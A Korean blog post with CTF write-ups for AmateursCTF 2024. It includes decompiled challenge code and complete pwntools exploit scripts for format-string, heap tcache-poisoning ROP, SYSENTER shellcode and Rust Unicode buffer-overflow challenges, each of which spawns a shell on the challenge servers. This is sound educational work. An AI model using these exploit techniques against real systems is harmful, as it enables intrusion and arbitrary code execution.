체감상 작년보다 어려웠는데
포너블 10개 중 4개 풀어서 선방했다고 생각한다.
[solved]
[web] denied
const express = require('express')
const app = express()
const port = 3000
app.get('/', (req, res) => {
if (req.method == "GET") return res.send("Bad!");
res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
res.send('Winner!')
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
get으로 접근해야 하는데 get이면 Bad를 줘버린다.
메소드를 찾아서 다 때려 넣어보니까 head 메소드를 사용하면 플래그가 나오더라.
[rev] typo
해괴한 문자들이 있다.
import random as RrRrRrrrRrRRrrRRrRRrrRr
RrRrRrrrRrRRrrRRrRRrRrr = int('1665663c', 20)
RrRrRrrrRrRRrrRRrRRrrRr.seed(RrRrRrrrRrRRrrRRrRRrRrr)
arRRrrRRrRRrRRRrRrRRrRr = bytearray(open('flag.txt', 'rb').read())
arRRrrRrrRRrRRRrRrRRrRr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
arRRrrRRrRRrRrRrRrRRrRr = [
b'arRRrrRRrRRrRRrRr',
b'aRrRrrRRrRr',
b'arRRrrRRrRRrRr',
b'arRRrRrRRrRr',
b'arRRrRRrRrrRRrRR'
b'arRRrrRRrRRRrRRrRr',
b'arRRrrRRrRRRrRr',
b'arRRrrRRrRRRrRr'
b'arRrRrRrRRRrrRrrrR',
]
arRRRrRRrRRrRRRrRrRRrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr + 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr])
arRRrrRRrRRrRRRrRrRrrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr - 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr])
def arRRrrRRrRRrRrRRrRrrRrRr(hex):
for id in range(0, len(hex) - 1, 2):
hex[id], hex[id + 1] = hex[id + 1], hex[id]
for list in range(1, len(hex) - 1, 2):
hex[list], hex[list + 1] = hex[list + 1], hex[list]
return hex
arRRRRRRrRRrRRRrRrRrrRr = [arRRrrRRrRRrRrRRrRrrRrRr, arRRRrRRrRRrRRRrRrRRrRr, arRRrrRRrRRrRRRrRrRrrRr]
arRRRRRRrRRrRRRrRrRrrRr = [RrRrRrrrRrRRrrRRrRRrrRr.choice(arRRRRRRrRRrRRRrRrRrrRr) for arRrrrRRrRRrRRRrRrRrrRr in range(128)]
def RrRrRrrrRrRRrrRRrRRrrRr(arr, ar):
for r in ar:
arr = arRRRRRRrRRrRRRrRrRrrRr[r](arr)
return arr
def arRRrrRRrRRrRrRRrRrrRrRr(arr, ar):
ar = int(ar.hex(), 17)
for r in arr:
ar += int(r, 35)
return bytes.fromhex(hex(ar)[2:])
arrRRrrrrRRrRRRrRrRRRRr = RrRrRrrrRrRRrrRRrRRrrRr(arRRrrRRrRRrRRRrRrRRrRr, arRRrrRrrRRrRRRrRrRRrRr.encode())
arrRRrrrrRRrRRRrRrRRRRr = arRRrrRRrRRrRrRRrRrrRrRr(arRRrrRRrRRrRrRrRrRRrRr, arrRRrrrrRRrRRRrRrRRRRr)
print(arrRRrrrrRRrRRRrRrRRRRr.hex())
적절히 바꿔주면 다음과 같다.
import random as my_random
seed = int('1665663c', 20)
my_random.seed(seed)
flag = bytearray(open('flag.txt', 'rb').read())
rrr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
byte_rrr = [
b'arRRrrRRrRRrRRrRr',
b'aRrRrrRRrRr',
b'arRRrrRRrRRrRr',
b'arRRrRrRRrRr',
b'arRRrRRrRrrRRrRR'
b'arRRrrRRrRRRrRRrRr',
b'arRRrrRRrRRRrRr',
b'arRRrrRRrRRRrRr'
b'arRrRrRrRRRrrRrrrR',
]
right = lambda byte_arr: bytearray([_byte_arr + 1 for _byte_arr in byte_arr])
left = lambda byte_arr: bytearray([_byte_arr - 1 for _byte_arr in byte_arr])
def func(hex):
print(hex)
for id in range(0, len(hex) - 1, 2):
hex[id], hex[id + 1] = hex[id + 1], hex[id]
print(hex)
for list in range(1, len(hex) - 1, 2):
hex[list], hex[list + 1] = hex[list + 1], hex[list]
print(hex)
return hex
tmp = [func, right, left]
tmp = [my_random.choice(tmp) for _byte_arr in range(128)]
def my_random(arr, ar):
for r in ar:
arr = tmp[r](arr)
return arr
def func(arr, ar):
ar = int(ar.hex(), 17)
for r in arr:
ar += int(r, 35)
return bytes.fromhex(hex(ar)[2:])
result = my_random(flag, rrr.encode())
result = func(byte_rrr, result)
print(result.hex())
이제 모든 연산을 거꾸로 수행한다.
(역연산)
16진수를 다시 17진수로 되돌려야 했는데
이 부분을 생각하기까지 시간이 좀 걸렸어서 삽질을 한 것 같다.
(그리고 타입 맞춰주는 것도..)
import random as my_random
seed = int('1665663c', 20)
my_random.seed(seed)
result = bytearray(bytes.fromhex(open('output.txt', 'r').read()))
rrr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
byte_rrr = [
b'arRRrrRRrRRrRRrRr',
b'aRrRrrRRrRr',
b'arRRrrRRrRRrRr',
b'arRRrRrRRrRr',
b'arRRrRRrRrrRRrRR'
b'arRRrrRRrRRRrRRrRr',
b'arRRrrRRrRRRrRr',
b'arRRrrRRrRRRrRr'
b'arRrRrRrRRRrrRrrrR',
]
right = lambda byte_arr: bytearray([_byte_arr - 1 for _byte_arr in byte_arr])
left = lambda byte_arr: bytearray([_byte_arr + 1 for _byte_arr in byte_arr])
def func(hex):
for list in range(1, len(hex) - 1, 2):
hex[list], hex[list + 1] = hex[list + 1], hex[list]
for id in range(0, len(hex) - 1, 2):
hex[id], hex[id + 1] = hex[id + 1], hex[id]
return hex
tmp = [func, right, left]
tmp = [my_random.choice(tmp) for _byte_arr in range(128)]
def my_random(arr, ar):
for r in ar:
arr = tmp[r](arr)
return arr
def hex_to_base17(hex_val):
decimal_value = hex_val
base17_str = ""
while decimal_value > 0:
remainder = decimal_value % 17
base17_str = hex(remainder)[2:] + base17_str
decimal_value //= 17
return base17_str
def func(arr, ar):
ar = int(ar.hex(), 16)
for r in arr:
ar -= int(r, 35)
return hex_to_base17(ar)
result = func(byte_rrr, result)
result = bytearray(bytes.fromhex(result))
result = my_random(result, rrr.encode())
print(result)
[pwn] bearsay
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v3; // rax
char v4; // al
char v5; // al
char v6; // al
char v7; // al
int v8; // [rsp+14h] [rbp-202Ch]
char *v9; // [rsp+18h] [rbp-2028h]
char *v10; // [rsp+20h] [rbp-2020h]
FILE *stream; // [rsp+28h] [rbp-2018h]
char s[4096]; // [rsp+30h] [rbp-2010h] BYREF
char v13[4104]; // [rsp+1030h] [rbp-1010h] BYREF
unsigned __int64 v14; // [rsp+2038h] [rbp-8h]
v14 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
v3 = __rdtsc();
srand(v3);
while ( 1 )
{
printf(&format);
fgets(s, 0x1000, stdin);
v9 = strchr(s, '\n');
if ( v9 )
*v9 = 0;
if ( s[0] )
{
if ( !strcmp("flag", s) )
{
if ( is_mother_bear != 0xBAD0BAD )
{
v6 = rand();
printf("ANGRY BEAR %s\n", (const char *)*(&bears + (v6 & 3)));
exit(1);
}
stream = fopen("./flag.txt", "r");
fgets(v13, 0x1000, stream);
fclose(stream);
box(0x7CLL, 0x2DLL, 2LL, v13);
puts("|\n|\n|");
v5 = rand();
puts((const char *)*(&bears + (v5 & 3)));
}
else
{
if ( !strcmp("leave", s) )
{
v7 = rand();
printf("lonely bear... %s\n", (const char *)*(&bears + (v7 & 3)));
exit(0);
}
if ( s[0] == 0x6D && s[1] == 0x6F && s[2] == 0x6F )
{
puts("no.");
exit(1);
}
v8 = strlen(s);
box(0x2ALL, 0x2ALL, 0LL, s);
rep(0x20LL, (unsigned int)(v8 / 2));
puts("|");
v10 = (char *)*(&bears + (rand() & 3));
rep(0x20LL, (unsigned int)(v8 / 2));
puts(v10);
}
}
else
{
v4 = rand();
printf("confused bear %s\n", (const char *)*(&bears + (v4 & 3)));
}
}
}
box에서 fsb 취약점이 터진다.
unsigned __int64 __fastcall box(char a1, char a2, int a3, const char *a4)
{
int i; // [rsp+2Ch] [rbp-14h]
int j; // [rsp+30h] [rbp-10h]
int v9; // [rsp+34h] [rbp-Ch]
unsigned __int64 v10; // [rsp+38h] [rbp-8h]
v10 = __readfsqword(0x28u);
v9 = strlen(a4);
rep(a2, v9 + 4);
putchar(0xA);
for ( i = 0; i < a3; ++i )
{
putchar(a1);
rep(0x20, v9 + 2);
putchar(a1);
putchar(0xA);
}
putchar(a1);
putchar(0x20);
printf(a4);
putchar(0x20);
putchar(a1);
putchar(0xA);
for ( j = 0; j < a3; ++j )
{
putchar(a1);
rep(0x20, v9 + 2);
putchar(a1);
putchar(0xA);
}
rep(a2, v9 + 4);
putchar(0xA);
return v10 - __readfsqword(0x28u);
}
fsb를 이용해서 is_mother_bear을 0xBAD0BAD으로 만들어서
플래그 호출 조건을 만족시키면 된다.
from pwn import *
context.arch = 'amd64'
# p = process('./chal')
p = remote('chal.amt.rs', 1338)
pay = b'%p.'*0x20
p.sendlineafter(b'say:',pay)
for _ in range(14):
p.recvuntil(b'.')
pie = int(p.recvuntil(b'.')[:-1],16) - 0x1678
bear = pie + 0x4044
print(hex(bear))
pay = fmtstr_payload(22, {bear:p32(0xBAD0BAD)}, write_size='byte')
p.sendlineafter(b'say:',pay)
p.sendlineafter(b'say:',b'flag')
p.interactive()
[pwn] heaps-of-fun
거의 포기하고 있다가 드림핵 힙 문제 풀고 풀 수 있을 것 같아서 했는데 풀려서 기분 좋았다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
puts("##############################################");
puts("# WELCOME to the amateurs key/value database #");
puts("##############################################");
while ( 1 )
{
_setjmp(handler);
switch ( (unsigned int)db_menu() )
{
case 1u:
puts("\n =[ create ]=");
db_create();
break;
case 2u:
puts("\n =[ update ]=");
db_update();
break;
case 3u:
puts("\n =[ read ]=");
db_read();
break;
case 4u:
puts("\n =[ delete ]");
db_delete();
break;
case 5u:
return 0;
default:
puts("[!] invalid selection");
break;
}
}
}
청크 2개를 할당 받을 수 있다.
unsigned __int64 db_create()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
index = db_index(0);
db_line(&db_list[index].key_ptr, 1, "key:\n>>> ");
db_line(&db_list[index].value_ptr, 1, "val:\n>>> ");
return canary - __readfsqword(0x28u);
}
unsigned __int64 __fastcall db_index(int check)
{
unsigned __int64 index; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
printf("index:\n>>> ");
if ( (unsigned int)__isoc99_scanf("%zu", &index) != 1 )
{
iflush();
puts("[!] failed to read index");
longjmp(handler, 1);
}
iflush();
if ( index > 0x1F )
{
puts("[!] index out of bounds");
longjmp(handler, 1);
}
if ( check && (!db_list[index].key_ptr || !db_list[index].value_ptr) )
{
puts("[!] invalid key/value store");
longjmp(handler, 1);
}
return index;
}
unsigned __int64 __fastcall db_line(_QWORD *buf, int type, const char *a3)
{
size_t size; // [rsp+28h] [rbp-18h] BYREF
_BYTE *note; // [rsp+30h] [rbp-10h]
unsigned __int64 canary; // [rsp+38h] [rbp-8h]
canary = __readfsqword(0x28u);
if ( type )
{
printf("len:\n>>> ");
if ( (unsigned int)__isoc99_scanf("%zu", &size) != 1 )
{
iflush();
puts("[!] failed to read length");
longjmp(handler, 1);
}
iflush();
if ( !size || size > 0xFF7 )
{
puts("[!] invalid line length");
longjmp(handler, 1);
}
++size;
printf("%s", a3);
note = malloc(size);
readline(note, size);
*buf = note;
buf[1] = size;
}
else
{
printf("%s", a3);
readline((_BYTE *)*buf, buf[1]);
}
return canary - __readfsqword(0x28u);
}
unsigned __int64 __fastcall readline(_BYTE *a1, __int64 a2)
{
_BYTE *v2; // rax
int v4; // [rsp+1Ch] [rbp-14h]
_BYTE *i; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
for ( i = a1; i < &a1[a2 - 1]; ++i )
{
v4 = getc(stdin);
if ( v4 == '\n' )
goto LABEL_6;
v2 = i;
*v2 = v4;
}
iflush();
LABEL_6:
*i = 0;
return v6 - __readfsqword(0x28u);
}
청크의 값을 바꾼다.
(db_create()에서 두 번째로 할당받은 청크)
unsigned __int64 db_update()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
index = db_index(1);
db_line(&db_list[index].value_ptr, 0, "new val:\n>>> ");
return canary - __readfsqword(0x28u);
}
청크의 값들을 읽을 수 있다.
unsigned __int64 db_read()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
index = db_index(1);
printf("key = ");
db_println(db_list[index].key_ptr, db_list[index].key_size);
printf("val = ");
db_println(db_list[index].value_ptr, db_list[index].value_size);
return canary - __readfsqword(0x28u);
}
unsigned __int64 __fastcall db_println(char *ptr, unsigned __int64 size)
{
unsigned __int64 i; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0LL; i < size; ++i )
{
if ( ((*__ctype_b_loc())[ptr[i]] & 0x4000) != 0 )
putchar(ptr[i]);
else
printf("\\x%02x", (unsigned __int8)ptr[i]);
}
putchar('\n');
return v4 - __readfsqword(0x28u);
}
청크를 날릴 수 있다.
unsigned __int64 db_delete()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
index = db_index(1);
free((void *)db_list[index].key_ptr);
free((void *)db_list[index].value_ptr);
return canary - __readfsqword(0x28u);
}
모든 보호 기법이 걸려있으므로
기본적으로 rop를 통한 쉘 얻기를 생각해야 한다.
먼저, heap, libc를 릭 할 수 있다.
이는 unsorted bin에 청크 2개를 할당 받으면 가능하다.
메인아레나 주소와 다음 힙에 대한 주소가 fd, bk에 할당되고
이를 db_read()로 읽어내면 된다.
이 정보들을 활용하면 tcache_poisoning 기법을 쓸 수 있다.
이를 통해 AAR/AAW가 가능해진다.
https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c
libc를 릭했으므로 environ 주소를 알 수 있고
tcache_poisoning으로 environ에 청크를 할당받아 저장된 스택 값(rbp)을 릭할 수 있다.
이제 다시 tcache_poisoning으로 스택(rbp)에 청크를 할당받아서
rop 페이로드를 때려넣으면 된다.
from pwn import *
context.log_level = 'debug'
# p = process('./chal')
p = remote('chal.amt.rs', 1346)
def create(idx,key_size,key,val_size='null',val='null'):
p.sendlineafter(b'>>>',b'1')
p.sendlineafter(b'>>>',str(idx).encode())
p.sendlineafter(b'>>>',str(key_size).encode())
p.sendlineafter(b'>>>',key)
p.sendlineafter(b'>>>',str(val_size).encode())
p.sendlineafter(b'>>>',val)
def update(idx,val):
p.sendlineafter(b'>>>',b'2')
p.sendlineafter(b'>>>',str(idx).encode())
p.sendlineafter(b'>>>',val)
def read(idx):
p.sendlineafter(b'>>>',b'3')
p.sendlineafter(b'>>>',str(idx).encode())
def delete(idx):
p.sendlineafter(b'>>>',b'4')
p.sendlineafter(b'>>>',str(idx).encode())
create(0,0x18,b'z'*0x18,0x428,b'a'*0x428)
create(1,0x18,b'z'*0x18,0x428,b'a'*0x428)
create(2,0x18,b'z'*0x18,0x438,b'a'*0x438)
delete(0)
delete(1)
read(0)
p.recvuntil(b'val = ')
libc = p.recvuntil(b'\\x00'*2)
libc = u64(libc.decode('unicode-escape')) - 0x21ace0
heap = p.recvuntil(b'\\x00'*2)
heap = u64(heap.decode('unicode-escape')) & 0xfffffffffffff000
env = libc + 0x222200
pop_rdi = libc + 0x2a3e5
ret = libc + 0x29139
system = libc + 0x50d70
print('[libc]',hex(libc))
print('[heap]',hex(heap))
create(3,0x20,b'z'*0x20,0x20,b'a'*0x20)
delete(3)
target = (env-0x10) ^ (heap+0x2a0) >> 12
update(3,p64(target)[:-1])
create(4,0x20,b'z'*0x20,0x20,b'')
read(4)
p.recvuntil(b'\\x00'*0x10)
stack = p.recvuntil(b'\\x00'*2)
stack = u64(stack.decode('unicode-escape')) - 0x128
print('[stack]',hex(stack))
create(5,0x50,b'z'*0x50,0x50,b'a'*50)
delete(5)
target = (stack) ^ (heap+0x2a0) >> 12
update(5,p64(target)[:-1])
pay = b'a'*0x8 + p64(ret) + p64(pop_rdi) + p64(stack+0x28) + p64(system) + b'/bin/sh'
create(6,0x50,b'z'*0x50,0x50,pay)
p.sendlineafter(b'>>>',b'5')
p.interactive()
[pwn] baby-sandbox
쉘 코딩 문제다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+2h] [rbp-Eh]
unsigned int i; // [rsp+4h] [rbp-Ch]
char *ptr; // [rsp+8h] [rbp-8h]
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
ptr = (char *)mmap((void *)0x1337000, 0x1000uLL, 3, 0x100022, 0xFFFFFFFF, 0LL);
if ( ptr == (char *)0xFFFFFFFFFFFFFFFFLL )
errx(1, "\x1B[91mmmap failed\x1B[0m");
printf("\x1B[38;2;255;255;255m> \x1B[0m");
fread(ptr, 1uLL, 0x1000uLL, stdin);
for ( i = 0; i <= 0xFFE; ++i )
{
v4 = *(_WORD *)&ptr[i];
if ( v4 == 0x50F || v4 == (__int16)0x80CD )
errx(1, "\x1B[91minvalid instruction!\x1B[0m");
}
if ( mprotect(ptr, 0x1000uLL, 5) < 0 )
errx(1, "\x1B[91mmprotect failed\x1B[0m");
if ( syscall(0x9ELL, 0x1002LL, 0LL) < 0 )
errx(1, "\x1B[91mfailed to set fsbase\x1B[0m");
if ( syscall(0x9ELL, 0x1001LL, 0LL) < 0 )
errx(1, "\x1B[91mfailed to set gsbase\x1B[0m");
return ((__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64, __int64))ptr)(
0x1337133713371337LL,
0x1337133713371337LL,
0x1337133713371337LL,
0x1337133713371337LL,
0x1337133713371337LL,
0x1337133713371337LL);
}
opcode 중 0F 05, CD 80이 막혀있다.
이 중 0F 05는 syscall이다.
(CD 80은 인터럽트 계열? 인 듯하다)
아무튼 위키피디아를 보면 syscall 밑에 sysenter라는 친구가 보인다.
설명이 같은 걸 보니 대신 쓸 수 있을 것 같다.
검색해서 대충 살펴보니 32비트에서 활용되는 명령인가 보다.
syscall table을 참조해 어셈 코딩해서 execve("/bin/sh")를 전달하면 된다.
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
# p = process('./chal')
p = remote('chal.amt.rs', 1341)
pay = asm('''
xor rsp, rsp
xor rbp, rbp
mov esp, 0x1337200
mov ebp, 0x1337200
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov ebx, 0x1337100
xor rax, rax
xor rsi, rsi
xor rdx, rdx
mov ax, 0x0b
SYSENTER
''')
print(hex(len(pay)))
pay += b'\x90'*(0x100-len(pay))
pay += p64(0x68732F6E69622F)
pay += b'\x90'*(0x1000-len(pay))
print(hex(len(pay)))
print(pay.hex())
p.sendafter(b'>',pay)
p.interactive()
[pwn] buffer-overflow
rust로 만들어진 c함수의 취약점을 찾아야하는 문제다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char src[4104]; // [rsp+0h] [rbp-1020h] BYREF
char *str_addr; // [rsp+1008h] [rbp-18h]
ssize_t read_len; // [rsp+1010h] [rbp-10h]
__int64 src_len; // [rsp+1018h] [rbp-8h]
memset(src, 0, 0x1000uLL);
read_len = read(0, src, 0x1000uLL);
if ( read_len < 0 )
errx(1, "failed to read input");
src[read_len - 1] = 0;
str_addr = strchr(src, '\n');
if ( str_addr )
{
*str_addr = 0;
src_len = str_addr - src;
}
else
{
src_len = read_len - 1;
}
uppercase(src, src_len, src);
puts(src);
return 0;
}
보호 기법도 빈약하고 쉘을 주는 win 함수도 존재한다.
rust 코드는 다음과 같다.
안전하지 않은 작업은 unsafe 블록 내부에서 수행한다고 한다.
문제 설명에서 유니코드 때문에 고통받는다고 했으니 관련해서 검색을 해보았다.
use std::mem::ManuallyDrop;
use std::ptr;
use std::slice;
use std::str;
#[inline(never)]
#[no_mangle]
pub extern "C" fn uppercase(src: *const u8, srclen: usize, dst: *mut u8) {
unsafe {
let upper = ManuallyDrop::new(
str::from_utf8(slice::from_raw_parts(src, srclen))
.unwrap()
.to_uppercase(),
);
let bytes = upper.as_bytes();
let bytes_ptr = bytes.as_ptr();
ptr::copy_nonoverlapping(bytes_ptr, dst, bytes.len());
}
}
rust 문서 뒤져보다가 찾아버렸다.
유니코드를 대문자로 바꿀 때 1바이트가 추가되는 경우가 존재했다.
https://doc.rust-lang.org/core/primitive.char.html#method.to_uppercase
위 페이지에 들어가보면 바이트가 늘어나는 문자들도 소개해준다.
https://www.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
이제 bof 터트리고 리턴 오버라이트 해주면 된다.
from pwn import *
context.log_level = 'debug'
# p = process('./chal')
p = remote('chal.amt.rs',1337)
win = 0x4012a0
pay = chr(0x1ff6)*0x409 + 'a'*3
pay += chr(0xa4) + chr(0x12) + chr(0x40) + chr(0)*5
p.sendline(pay)
p.interactive()
[unsolved]
[pwn] reflection
문제 설명에서 ret2dlresolve 라는 기법을 쓴다고 해서 시도했지만 잘 안됐다..
라업 봐도 모르겠다
https://github.com/r1ru/ctf-writeups/blob/master/2024/AmateursCTF/reflection/exploit.py
이건 나중에 볼 예정?
https://unvariant.pages.dev/writeups/amateursctf-2024/
'CTF' 카테고리의 다른 글
San Diego CTF 2024 (Pwn) (0) | 2024.05.15 |
---|---|
Grey Cat The Flag 2024 Qualifiers (0) | 2024.04.22 |
[QWB CTF 2018] core (with write-up) (1) | 2024.04.04 |
ACSC 2024 Quals (0) | 2024.04.01 |
Pearl CTF (0) | 2024.03.11 |